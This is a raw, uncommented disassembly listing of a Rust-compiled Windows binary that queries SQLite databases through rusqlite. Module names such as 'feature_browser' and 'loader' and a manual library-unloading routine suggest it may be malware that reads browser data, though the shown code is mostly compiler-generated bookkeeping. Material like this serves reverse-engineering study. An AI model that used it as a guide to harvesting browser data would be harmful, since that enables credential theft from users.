mov rsi, qword [rsp + 0x2b0]
jmp 0x1400e1c4f
cmp eax, 0x65
jne 0x1400e2925
mov rcx, qword [rsp + 0x478]
call sym.sqlite3_reset
lea rax, [rsp + 0x280]
mov qword [rsp + 0x1c0], rax
lea rcx, [sym.__alloc::string::String_as_core::fmt::Display_::fmt::hc4f37428fa496577]
mov qword [rsp + 0x1c8], rcx
lea rax, [rsp + 0x340]
mov qword [rsp + 0x1d0], rax
mov qword [rsp + 0x1d8], rcx
lea rax, [0x140307550]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 3
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 2
mov rcx, rbp
mov rdx, r15
call sym.alloc::fmt::format::format_inner::h016d222f45dabbf4
mov rax, qword [rsp + 0x2b0]
lea rcx, [rsp + 0x98]
mov qword [rcx + 0x20], rax
movups xmm0, xmmword [rsp + 0x2a0]
movups xmmword [rcx + 0x10], xmm0
mov rsi, qword [rsp + 0x368]
cmp rsi, qword [rsp + 0x358]
jne 0x1400e1e0b
lea rcx, [rsp + 0x358]
call sym.alloc::raw_vec::RawVec_T_A_::grow_one::h9587850958fec6d8
mov rax, qword [rsp + 0x360]
lea rcx, [rsi + rsi*2]
shl rcx, 4
movups xmm0, xmmword [rsp + 0x90]
movups xmm1, xmmword [rsp + 0xa0]
movups xmm2, xmmword [rsp + 0xb0]
movups xmmword [rax + rcx + 0x20], xmm2
movups xmmword [rax + rcx + 0x10], xmm1
movups xmmword [rax + rcx], xmm0
inc rsi
mov qword [rsp + 0x368], rsi
movaps xmm0, xmmword [rsp + 0x440]
movaps xmm1, xmmword [rsp + 0x450]
movdqa xmm2, xmmword [rsp + 0x460]
movdqa xmm3, xmmword [rsp + 0x470]
movdqa xmmword [rsp + 0xc0], xmm3
movaps xmmword [rsp + 0x90], xmm0
movdqa xmmword [rsp + 0xb0], xmm2
movaps xmmword [rsp + 0xa0], xmm1
mov rax, qword [rsp + 0x480]
mov rcx, qword [rsp + 0xc8]
mov qword [rsp + 0xc8], 0
mov qword [rsp + 0xd0], 0
mov r15, qword [rsp + 0x90]
movups xmm0, xmmword [rsp + 0x98]
lea rdx, [rsp + 0x98]
movdqu xmmword [rdx], xmm6
movaps xmmword [rsp + 0x30], xmm0
mov rsi, qword [rsp + 0xb8]
movups xmm0, xmmword [rsp + 0xa8]
movdqu xmm1, xmmword [rsp + 0xb8]
movdqa xmmword [rsp + 0xb0], xmm6
movaps xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x50], xmm1
mov qword [rsp + 0x68], rax
call sym.sqlite3_finalize
mov ebp, eax
xor ecx, ecx
call sym.sqlite3_finalize
mov qword [rsp + 0x60], 0
lea rcx, [rsp + 0x38]
call sym._ZN99__LT_alloc..collections..btree..map..BTreeMap_LT_K_C_V_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_4drop17h80a417c1602aba
test rsi, rsi
je 0x1400e1f46
lock dec qword [rsi]
jne 0x1400e1f46
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
call sym.alloc::sync::Arc_T_A_::drop_slow::h1c6c6cbaff3285f5
mov rax, qword [r15 + 0x40]
movabs rcx, 0x8000000000000000
lea rsi, [rcx - 1]
cmp rax, rsi
jae 0x1400e3403
lea rcx, [rax + 1]
mov qword [r15 + 0x40], rcx
test ebp, ebp
jne 0x1400e2211
mov byte [rsp + 0x1c0], 0x13
mov qword [r15 + 0x40], rax
mov rcx, qword [rsp + 0xc8]
mov rax, qword [rsp + 0xd0]
movdqu xmmword [rsp + 0xc8], xmm6
mov r15, qword [rsp + 0x90]
movups xmm0, xmmword [rsp + 0x98]
lea rdx, [rsp + 0x98]
movdqu xmmword [rdx], xmm6
movaps xmmword [rsp + 0x30], xmm0
mov rbx, qword [rsp + 0xb8]
movups xmm0, xmmword [rsp + 0xa8]
movdqu xmm1, xmmword [rsp + 0xb8]
movdqa xmmword [rsp + 0xb0], xmm6
movaps xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x50], xmm1
mov qword [rsp + 0x68], rax
call sym.sqlite3_finalize
mov ebp, eax
xor ecx, ecx
call sym.sqlite3_finalize
mov qword [rsp + 0x60], 0
lea rcx, [rsp + 0x38]
call sym._ZN99__LT_alloc..collections..btree..map..BTreeMap_LT_K_C_V_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_4drop17h80a417c1602aba
test rbx, rbx
je 0x1400e2024
lock dec qword [rbx]
jne 0x1400e2024
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
call sym.alloc::sync::Arc_T_A_::drop_slow::h1c6c6cbaff3285f5
mov rax, qword [r15 + 0x40]
cmp rax, rsi
jae 0x1400e3403
lea rcx, [rax + 1]
mov qword [r15 + 0x40], rcx
test ebp, ebp
lea rsi, [rsp + 0x30]
mov rbx, qword [rsp + 0x228]
jne 0x1400e2231
mov qword [r15 + 0x40], rax
lea rbp, [rsp + 0x90]
mov rcx, qword [rsp + 0xc8]
call sym.sqlite3_finalize
mov qword [rsp + 0xc8], 0
lea rcx, [rsp + 0xa0]
call sym._ZN99__LT_alloc..collections..btree..map..BTreeMap_LT_K_C_V_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_4drop17h80a417c1602aba
mov rax, qword [rsp + 0xb8]
test rax, rax
mov r14, qword [rsp + 0x238]
mov r15, qword [rsp + 0x278]
je 0x1400e20b8
lock dec qword [rax]
jne 0x1400e20b8
mov rcx, qword [rsp + 0xb8]
mov rdx, qword [rsp + 0xc0]
call sym.alloc::sync::Arc_T_A_::drop_slow::h1c6c6cbaff3285f5
cmp byte [rsp + 0x1c0], 0x13
jne 0x1400e3786
movups xmm0, xmmword [rsp + 0x330]
movaps xmmword [rsp + 0x210], xmm0
movups xmm0, xmmword [rsp + 0x320]
movaps xmmword [rsp + 0x200], xmm0
movups xmm0, xmmword [rsp + 0x2e0]
movups xmm1, xmmword [rsp + 0x2f0]
movups xmm2, xmmword [rsp + 0x300]
movups xmm3, xmmword [rsp + 0x310]
movaps xmmword [rsp + 0x1f0], xmm3
movaps xmmword [rsp + 0x1e0], xmm2
movaps xmmword [rsp + 0x1d0], xmm1
movaps xmmword [rsp + 0x1c0], xmm0
lea rcx, [rsp + 0x1c0]
call sym.rusqlite::cache::StatementCache::flush::h3afbc9323d6b1eff
cmp qword [rsp + 0x200], 0
jne 0x1400e343a
mov qword [rsp + 0x200], 0xffffffffffffffff
lea rcx, [rsp + 0x568]
lea rdx, [rsp + 0x208]
call sym.rusqlite::inner_connection::InnerConnection::close::hb52cd5f8ba146b1d
inc qword [rsp + 0x200]
movaps xmm0, xmmword [rsp + 0x210]
movaps xmmword [rsp + 0x80], xmm0
movaps xmm0, xmmword [rsp + 0x200]
movaps xmmword [rsp + 0x70], xmm0
movdqa xmm0, xmmword [rsp + 0x1c0]
movdqa xmm1, xmmword [rsp + 0x1d0]
movdqa xmm2, xmmword [rsp + 0x1e0]
movdqa xmm3, xmmword [rsp + 0x1f0]
movdqa xmmword [rsp + 0x60], xmm3
movdqa xmmword [rsp + 0x50], xmm2
movdqa xmmword [rsp + 0x40], xmm1
movdqa xmmword [rsp + 0x30], xmm0
movzx eax, byte [rsp + 0x568]
cmp al, 0x13
jne 0x1400e37d8
mov rcx, rsi
call sym.core::ptr::drop_in_place_rusqlite::Connection_::h3d7d78e36be7a3b0
cmp qword [rsp + 0x528], 0
je 0x1400e21fd
mov r8, qword [rsp + 0x530]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
cmp qword [rsp + 0x420], 0
jne 0x1400e1410
jmp 0x1400e1426
mov rdx, qword [r15 + 0x50]
lea rcx, [rsp + 0x1c0]
mov r8d, ebp
call sym.rusqlite::error::error_from_handle::h33fd9c91820f13d7
mov rax, qword [r15 + 0x40]
dec rax
jmp 0x1400e1f79
mov rdx, qword [r15 + 0x50]
mov rcx, rsi
mov r8d, ebp
call sym.rusqlite::error::error_from_handle::h33fd9c91820f13d7
movzx eax, byte [rsp + 0x30]
dec qword [r15 + 0x40]
cmp al, 0x13
lea rbp, [rsp + 0x90]
je 0x1400e205a
mov rcx, rsi
call sym._ZN4core3ptr43drop_in_place_LT_rusqlite..error..Error_GT_17hfd6d8cf91505608dE.4129
jmp 0x1400e205a
mov rax, r15
sub rax, rbx
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
mov rax, r15
cmp r15, rbx
je 0x1400e22b3
mov r15, rdx
shr r15, 4
add rbx, 8
jmp 0x1400e2299
add rbx, 0x18
dec r15
je 0x1400e22b3
cmp qword [rbx - 8], 0
je 0x1400e2290
mov r8, qword [rbx]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
jmp 0x1400e2290
cmp qword [rsp + 0x248], 0
je 0x1400e22d4
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, qword [rsp + 0x250]
call fcn.14013f0f4
cmp qword [rsp + 0x220], 0
je 0x1400e22f2
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, qword [rsp + 0x28]
call fcn.14013f0f4
cmp qword [rsp + 0x4b0], 0
je 0x1400e2313
mov r8, qword [rsp + 0x4b8]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
cmp qword [rsp + 0x400], 0
je 0x1400e2334
mov r8, qword [rsp + 0x408]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
cmp qword [rsp + 0x280], 0
je 0x1400e2355
mov r8, qword [rsp + 0x288]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
cmp qword [rsp + 0x3b0], 0
je 0x1400e0cd0
mov r8, qword [rsp + 0x3b8]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
jmp 0x1400e0cd0
mov r8, qword [rsp + 0x230]
mov rax, r8
sub rax, r14
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
cmp r8, r14
movabs rax, 0x8000000000000000
je 0x1400e23ed
mov rsi, rdx
shr rsi, 4
add r14, 8
jmp 0x1400e23c9
add r14, 0x18
dec rsi
je 0x1400e23ed
cmp qword [r14 - 8], 0
je 0x1400e23c0
mov r8, qword [r14]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
movabs rax, 0x8000000000000000
jmp 0x1400e23c0
cmp qword [rsp + 0x2d0], 0
je 0x1400e2418
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, qword [rsp + 0x258]
call fcn.14013f0f4
movabs rax, 0x8000000000000000
mov rbx, qword [rsp + 0x358]
mov rsi, qword [rsp + 0x360]
mov rdi, qword [rsp + 0x368]
cmp qword [rsp + 0x490], 0
je 0x1400e245b
mov r8, qword [rsp + 0x498]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x2d8], 0
je 0x1400e2486
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, qword [rsp + 0x2c8]
call fcn.14013f0f4
movabs rax, 0x8000000000000000
lea r15, [rdi + rdi*2]
shl r15, 4
add r15, rsi
mov r14, rsi
test rdi, rdi
je 0x1400e2575
mov rcx, qword [rsp + 0x2c0]
lea rdi, [rcx + 0x18]
lea r14, [rsi + 0x30]
jmp 0x1400e251c
mov r8, qword [rsp + 0x2c0]
mov rax, qword [r8 + 0x20]
lea rcx, [rbp*2]
add rcx, rbp
shl rcx, 4
mov qword [rax + rcx], r13
movdqa xmm0, xmmword [rsp + 0x620]
movdqa xmm1, xmmword [rsp + 0x630]
movdqu xmmword [rax + rcx + 8], xmm0
movdqu xmmword [rax + rcx + 0x18], xmm1
mov rdx, qword [rsp + 0x640]
mov qword [rax + rcx + 0x28], rdx
inc rbp
mov qword [r8 + 0x28], rbp
add r14, 0x30
add r12, 0x30
cmp r12, r15
movabs rax, 0x8000000000000000
je 0x1400e25dc
mov r13, qword [r14 - 0x30]
cmp r13, rax
je 0x1400e2575
lea r12, [r14 - 0x30]
mov rax, qword [r12 + 0x28]
mov qword [rsp + 0x640], rax
movups xmm0, xmmword [r12 + 8]
movups xmm1, xmmword [r12 + 0x18]
movaps xmmword [rsp + 0x630], xmm1
movaps xmmword [rsp + 0x620], xmm0
mov rax, qword [rsp + 0x2c0]
mov rbp, qword [rax + 0x28]
cmp rbp, qword [rax + 0x18]
jne 0x1400e24b0
mov rcx, rdi
call sym.alloc::raw_vec::RawVec_T_A_::grow_one::h9587850958fec6d8
jmp 0x1400e24b0
mov rax, r15
sub rax, r14
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
cmp r15, r14
je 0x1400e25dc
mov rdi, rdx
shr rdi, 5
add r14, 0x20
jmp 0x1400e25a9
add r14, 0x30
dec rdi
je 0x1400e25dc
cmp qword [r14 - 0x20], 0
je 0x1400e25c2
mov r8, qword [r14 - 0x18]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
cmp qword [r14 - 8], 0
je 0x1400e25a0
mov r8, qword [r14]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
jmp 0x1400e25a0
test rbx, rbx
je 0x1400e25f2
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, rsi
call fcn.14013f0f4
movaps xmm6, xmmword [rsp + 0x660]
movaps xmm7, xmmword [rsp + 0x670]
movaps xmm8, xmmword [rsp + 0x680]
movaps xmm9, xmmword [rsp + 0x690]
movaps xmm10, xmmword [rsp + 0x6a0]
movaps xmm11, xmmword [rsp + 0x6b0]
movaps xmm12, xmmword [rsp + 0x6c0]
movaps xmm13, xmmword [rsp + 0x6d0]
movaps xmm14, xmmword [rsp + 0x6e0]
movaps xmm15, xmmword [rsp + 0x6f0]
add rsp, 0x708
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
cmp rcx, 0x36c
mov edx, 0x36b
cmovb rcx, rdx
lea r8, [0x1402c2bc0]
call sym.core::panicking::panic_bounds_check::h4036fe14f6f497ef
jmp 0x1400e2d2c
test r8, r8
je 0x1400df393
movzx eax, byte [rsp + 0xaf]
shl eax, 0x10
movzx ecx, word [rsp + 0xad]
or ecx, eax
shl rcx, 0x20
mov eax, dword [rsp + 0xa9]
or rax, rcx
lea rcx, [rdx + r8]
mov r9, rdx
jmp 0x1400e26cc
add r9, 2
cmp r11, rcx
cmovne r11, r9
nop
mov r9, r11
cmp r11, rcx
je 0x1400df393
lea r11, [r9 + 1]
movzx r10d, byte [r9]
test r10b, r10b
jns 0x1400e26c0
cmp r10b, 0xe0
jb 0x1400e26b4
cmp r10b, 0xed
jne 0x1400e270f
cmp r11, rcx
je 0x1400df393
lea r10, [r9 + 2]
cmp r10, rcx
je 0x1400df393
cmp byte [r9 + 1], 0x9f
ja 0x1400e392d
add r9, 3
mov r11, r9
jmp 0x1400e26c0
add r9, 2
cmp r11, rcx
cmove r9, r11
xor r11d, r11d
cmp r9, rcx
setne r11b
add r11, r9
cmp r10b, 0xf0
jb 0x1400e26c0
xor r9d, r9d
cmp r11, rcx
setne r9b
add r11, r9
jmp 0x1400e26c0
test r8, r8
je 0x1400e0c29
movzx eax, byte [rsp + 0xaf]
shl eax, 0x10
movzx ecx, word [rsp + 0xad]
or ecx, eax
shl rcx, 0x20
mov eax, dword [rsp + 0xa9]
or rax, rcx
lea rcx, [rdx + r8]
mov r9, rdx
jmp 0x1400e278c
add r9, 2
cmp r11, rcx
cmovne r11, r9
nop dword [rax]
mov r9, r11
cmp r11, rcx
je 0x1400e0c29
lea r11, [r9 + 1]
movzx r10d, byte [r9]
test r10b, r10b
jns 0x1400e2780
cmp r10b, 0xe0
jb 0x1400e2771
cmp r10b, 0xed
jne 0x1400e27cf
cmp r11, rcx
je 0x1400e0c29
lea r10, [r9 + 2]
cmp r10, rcx
je 0x1400e0c29
cmp byte [r9 + 1], 0x9f
ja 0x1400e396a
add r9, 3
mov r11, r9
jmp 0x1400e2780
add r9, 2
cmp r11, rcx
cmove r9, r11
xor r11d, r11d
cmp r9, rcx
setne r11b
add r11, r9
cmp r10b, 0xf0
jb 0x1400e2780
xor r9d, r9d
cmp r11, rcx
setne r9b
add r11, r9
jmp 0x1400e2780
mov rsi, qword [rsp + 0x440]
mov rcx, qword [rsi + 0x40]
movabs rdx, 0x8000000000000000
dec rdx
cmp rcx, rdx
jae 0x1400e3403
lea rdx, [rcx + 1]
mov qword [rsi + 0x40], rdx
test eax, eax
je 0x1400e3446
mov rdx, qword [rsi + 0x50]
lea rcx, [rsp + 0x90]
mov r8d, eax
call sym.rusqlite::error::error_from_handle::h33fd9c91820f13d7
movzx ebx, byte [rsp + 0x90]
dec qword [rsi + 0x40]
cmp bl, 0x13
je 0x1400e297c
movzx esi, byte [rsp + 0x91]
mov eax, dword [rsp + 0x92]
mov dword [rsp + 0x1c0], eax
movzx eax, word [rsp + 0x96]
mov word [rsp + 0x1c4], ax
mov rdi, qword [rsp + 0x98]
movups xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x50], xmm0
mov rcx, qword [rsp + 0x478]
call sym.sqlite3_reset
mov byte [rsp + 0x90], bl
mov byte [rsp + 0x91], sil
mov eax, dword [rsp + 0x1c0]
mov dword [rsp + 0x92], eax
movzx eax, word [rsp + 0x1c4]
mov word [rsp + 0x96], ax
mov qword [rsp + 0x98], rdi
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqa xmm2, xmmword [rsp + 0x50]
movups xmmword [rsp + 0xa0], xmm0
movdqu xmmword [rsp + 0xb0], xmm1
movdqu xmmword [rsp + 0xc0], xmm2
lea rax, str.src_feature_browser.rs
jmp 0x1400e2a92
mov rsi, qword [rsp + 0x440]
mov rcx, qword [rsi + 0x40]
movabs rdx, 0x8000000000000000
dec rdx
cmp rcx, rdx
jae 0x1400e3403
lea rdx, [rcx + 1]
mov qword [rsi + 0x40], rdx
test eax, eax
je 0x1400e3446
mov rdx, qword [rsi + 0x50]
lea rcx, [rsp + 0x90]
mov r8d, eax
call sym.rusqlite::error::error_from_handle::h33fd9c91820f13d7
movzx ebx, byte [rsp + 0x90]
dec qword [rsi + 0x40]
cmp bl, 0x13
jne 0x1400e29c9
lea rax, str.C:Users_asdasd.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rusqlite_0.29.0_src_statement.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap_err____on_an__Ok__value
lea r9, [0x140306bf0]
lea r8, [rsp + 0x390]
mov edx, 0x2e
call sym.core::result::unwrap_failed::he553ba724245dc85
cmp rcx, 0x36c
mov edx, 0x36b
cmovb rcx, rdx
lea r8, [0x1402c2bc0]
call sym.core::panicking::panic_bounds_check::h4036fe14f6f497ef
jmp 0x1400e2d2c
movzx esi, byte [rsp + 0x91]
mov eax, dword [rsp + 0x92]
mov dword [rsp + 0x1c0], eax
movzx eax, word [rsp + 0x96]
mov word [rsp + 0x1c4], ax
mov rdi, qword [rsp + 0x98]
movups xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x50], xmm0
mov rcx, qword [rsp + 0x478]
call sym.sqlite3_reset
mov byte [rsp + 0x90], bl
mov byte [rsp + 0x91], sil
mov eax, dword [rsp + 0x1c0]
mov dword [rsp + 0x92], eax
movzx eax, word [rsp + 0x1c4]
mov word [rsp + 0x96], ax
mov qword [rsp + 0x98], rdi
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqa xmm2, xmmword [rsp + 0x50]
movups xmmword [rsp + 0xa0], xmm0
movdqu xmmword [rsp + 0xb0], xmm1
movdqu xmmword [rsp + 0xc0], xmm2
lea rax, str.src_feature_browser.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x14030fd76]
lea r9, sym._ZN4core3ptr43drop_in_place_LT_rusqlite..error..Error_GT_17hfd6d8cf91505608dE.4129
lea r8, [rsp + 0x90]
mov edx, 0x2b
call sym.core::result::unwrap_failed::he553ba724245dc85
mov eax, dword [rsp + 0x98]
mov dword [rsp + 0x29c], eax
mov qword [rsp + 0x1c0], 0
mov qword [rsp + 0x1c8], 1
mov qword [rsp + 0x1d0], 0
lea rdi, [rsp + 0x1c0]
mov r8d, 0x104
mov rcx, rdi
xor edx, edx
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h010c4e3c86a70d79
mov ebx, 0x2c
jmp 0x1400e2b3f
mov rax, qword [rsp + 0x1c8]
mov qword [rsp + 0x3f8], rax
mov byte [rax + rdx], bpl
inc rdx
mov qword [rsp + 0x1d0], rdx
inc rbx
cmp rbx, 0x130
je 0x1400e2be2
movzx ebp, byte [rsp + rbx + 0x90]
test bpl, bpl
js 0x1400e2b70
mov rdx, qword [rsp + 0x1d0]
cmp rdx, qword [rsp + 0x1c0]
jne 0x1400e2b10
mov rcx, rdi
mov r15, rdx
call sym.alloc::raw_vec::RawVec_T_A_::grow_one::h1fcdac3786dc2aa9
mov rdx, r15
jmp 0x1400e2b10
mov rax, qword [rsp + 0x1c0]
mov rdx, qword [rsp + 0x1d0]
sub rax, rdx
cmp rax, 1
jbe 0x1400e2bca
mov eax, ebp
shr al, 6
or al, 0xc0
and bpl, 0xbf
mov rcx, qword [rsp + 0x1c8]
mov byte [rcx + rdx], al
mov qword [rsp + 0x3f8], rcx
mov byte [rcx + rdx + 1], bpl
add rdx, 2
mov qword [rsp + 0x1d0], rdx
inc rbx
cmp rbx, 0x130
jne 0x1400e2b3f
jmp 0x1400e2be2
mov r8d, 2
mov rcx, rdi
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h010c4e3c86a70d79
mov rdx, qword [rsp + 0x1d0]
jmp 0x1400e2b89
mov qword [rsp + 0x388], rdx
movsd xmm0, qword [rsp + 0x90]
movaps xmmword [rsp + 0x5b0], xmm0
mov eax, dword [rsp + 0x98]
mov qword [rsp + 0x4f0], rax
movups xmm0, xmmword [rsp + 0x9c]
movaps xmmword [rsp + 0x30], xmm0
movdqu xmm0, xmmword [rsp + 0xac]
movdqa xmmword [rsp + 0x40], xmm0
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x4e8], rax
mov rcx, rsi
call sub.KERNEL32.dll_FreeLibrary
test eax, eax
jne 0x1400dcada
lea rax, str.Failed_to_free_Module_n
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
mov qword [rsp + 0xa0], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0xa8], xmm0
lea rcx, [rsp + 0x90]
call sym.std::io::stdio::_eprint::h9d1efd0cc06e46e4
jmp 0x1400dcada
mov ecx, 0x23
mov edx, 0x23
lea r8, [0x1402c2ba8]
jmp 0x1400e2675
cmp rcx, 0x13c
mov edx, 0x13b
cmovb rcx, rdx
lea r8, [0x1402c2bc0]
call sym.core::panicking::panic_bounds_check::h4036fe14f6f497ef
jmp 0x1400e2d2c
mov ecx, 0x23
mov edx, 0x23
lea r8, [0x1402c2ba8]
jmp 0x1400e29bf
cmp r14, 0x13c
mov edx, 0x13b
cmovb r14, rdx
lea r8, [0x1402c2bc0]
mov rcx, r14
jmp 0x1400e2cb9
mov rcx, qword [rsp + 0x1c8]
mov rdx, qword [rsp + 0x1d0]
jmp 0x1400e2d06
xor ecx, ecx
call sym.alloc::raw_vec::handle_error::h4c8b686338b9335b
jmp 0x1400e2d2c
xor r8d, r8d
lea rax, str.library_alloc_src_str.rs
mov rdx, qword [rsp + 0x228]
mov qword [rsp + 0x20], rax
mov rcx, r13
call sym.core::str::slice_error_fail::h1dccc998ff36422e
ud2
mov edx, 0x16
lea r8, [0x1402c2ba8]
jmp 0x1400e2cb9
mov ecx, 1
mov edx, 0xc
call sym.alloc::raw_vec::handle_error::h4c8b686338b9335b
xor ecx, ecx
jmp 0x1400e2d96
mov ecx, 1
jmp 0x1400e2d96
mov ecx, 2
jmp 0x1400e2d96
mov ecx, 3
jmp 0x1400e2d96
mov ecx, 4
jmp 0x1400e2d96
mov ecx, 5
jmp 0x1400e2d96
mov ecx, 6
jmp 0x1400e2d96
mov ecx, 7
jmp 0x1400e2d96
mov ecx, 8
jmp 0x1400e2d96
mov ecx, 9
jmp 0x1400e2d96
mov ecx, 0xa
mov qword [rsp + 0x90], 0xc
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 0xb
jmp 0x1400e2f98
call sym.alloc::raw_vec::capacity_overflow::h1e9621a84679a79e
mov r8, r9
mov rdx, qword [rsp + 0x228]
mov r9, rdx
lea rax, str.library_alloc_src_str.rs
jmp 0x1400e2d1f
mov ecx, 1
mov rdx, rsi
call sym.alloc::raw_vec::handle_error::h4c8b686338b9335b
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0xa0], rax
movdqu xmm0, xmmword [rsp + 0x1c0]
movdqa xmmword [rsp + 0x90], xmm0
lea rax, str.srcutils.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x14030fd76]
lea r9, sym.core::ptr::drop_in_place_alloc::string::String_::hcf6c181be782201a
lea r8, [rsp + 0x90]
mov edx, 0x2b
call sym.core::result::unwrap_failed::he553ba724245dc85
mov ecx, 1
mov edx, 0x11
call sym.alloc::raw_vec::handle_error::h4c8b686338b9335b
movzx eax, byte [0x140346130]
mov edx, 0x10
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::hcc99af14aa596ba0
test rax, rax
jne 0x1400e2fcc
mov ecx, 1
mov edx, 0x10
call sym.alloc::raw_vec::handle_error::h4c8b686338b9335b
movzx eax, byte [0x140346130]
mov edx, 0xb
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::hcc99af14aa596ba0
test rax, rax
je 0x1400e2efe
mov qword [rax], r15
mov byte [rax + 8], bl
mov byte [rax + 9], r13b
mov byte [rax + 0xa], bpl
mov byte [r12], 0
test r14, r14
je 0x1400e2eb6
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, r12
mov rsi, rax
call fcn.14013f0f4
mov rax, rsi
mov qword [rsp + 0x90], 0xb
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 0xb
lea rax, str.srcutils.rs
jmp 0x1400e3073
movzx eax, byte [0x140346130]
mov edx, 0xb
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::hcc99af14aa596ba0
test rax, rax
jne 0x1400e301d
mov ecx, 1
mov edx, 0xb
call sym.alloc::raw_vec::handle_error::h4c8b686338b9335b
mov ecx, 0xc
jmp 0x1400e2f78
mov ecx, 1
jmp 0x1400e2f78
mov ecx, 6
jmp 0x1400e2f78
mov ecx, 0xb
jmp 0x1400e2f78
xor ecx, ecx
jmp 0x1400e2f78
mov ecx, 5
jmp 0x1400e2f78
mov ecx, 0xa
jmp 0x1400e2f78
mov ecx, 0xf
jmp 0x1400e2f78
mov ecx, 4
jmp 0x1400e2f78
mov ecx, 9
jmp 0x1400e2f78
mov ecx, 0xe
jmp 0x1400e2f78
mov ecx, 3
jmp 0x1400e2f78
mov ecx, 8
jmp 0x1400e2f78
mov ecx, 0xd
jmp 0x1400e2f78
mov ecx, 2
jmp 0x1400e2f78
mov ecx, 7
mov qword [rsp + 0x90], 0x11
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 0x10
mov qword [rsp + 0xa8], rcx
lea rax, [0x1402c0df0]
mov qword [rsp + 0x20], rax
lea rcx, str.CString_conversion_failedsrcloader.rs
lea r9, sym.core::ptr::drop_in_place_alloc::ffi::c_str::NulError_::hc6d438c3f5ecf380
lea r8, [rsp + 0x90]
mov edx, 0x19
call sym.core::result::unwrap_failed::he553ba724245dc85
mov qword [rax], rbp
mov qword [rax + 8], r15
mov byte [r13], 0
test r14, r14
je 0x1400e2ff4
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, r13
mov rsi, rax
call fcn.14013f0f4
mov rax, rsi
mov qword [rsp + 0x90], 0x10
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 0x10
lea rax, str.srcutils.rs
jmp 0x1400e3073
mov qword [rax], r15
mov byte [rax + 8], bpl
mov byte [rax + 9], r12b
mov byte [rax + 0xa], bl
mov byte [r13], 0
test rsi, rsi
je 0x1400e304c
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, r13
mov rsi, rax
call fcn.14013f0f4
mov rax, rsi
mov qword [rsp + 0x90], 0xb
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 0xb
lea rax, str.srcutils.rs
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_to_get_ptr
lea r9, sym.core::ptr::drop_in_place_alloc::string::String_::hcf6c181be782201a
lea r8, [rsp + 0x90]
mov edx, 0x11
call sym.core::result::unwrap_failed::he553ba724245dc85
movups xmm0, xmmword [rsp + 0x30]
movdqu xmm1, xmmword [rsp + 0x40]
movdqu xmm2, xmmword [rsp + 0x50]
movdqu xmm3, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0xc0], xmm3
movdqa xmmword [rsp + 0xb0], xmm2
movdqa xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
lea rax, str.src_feature_browser.rs
jmp 0x1400e2a92
movups xmm0, xmmword [rsp + 0x30]
movdqu xmm1, xmmword [rsp + 0x40]
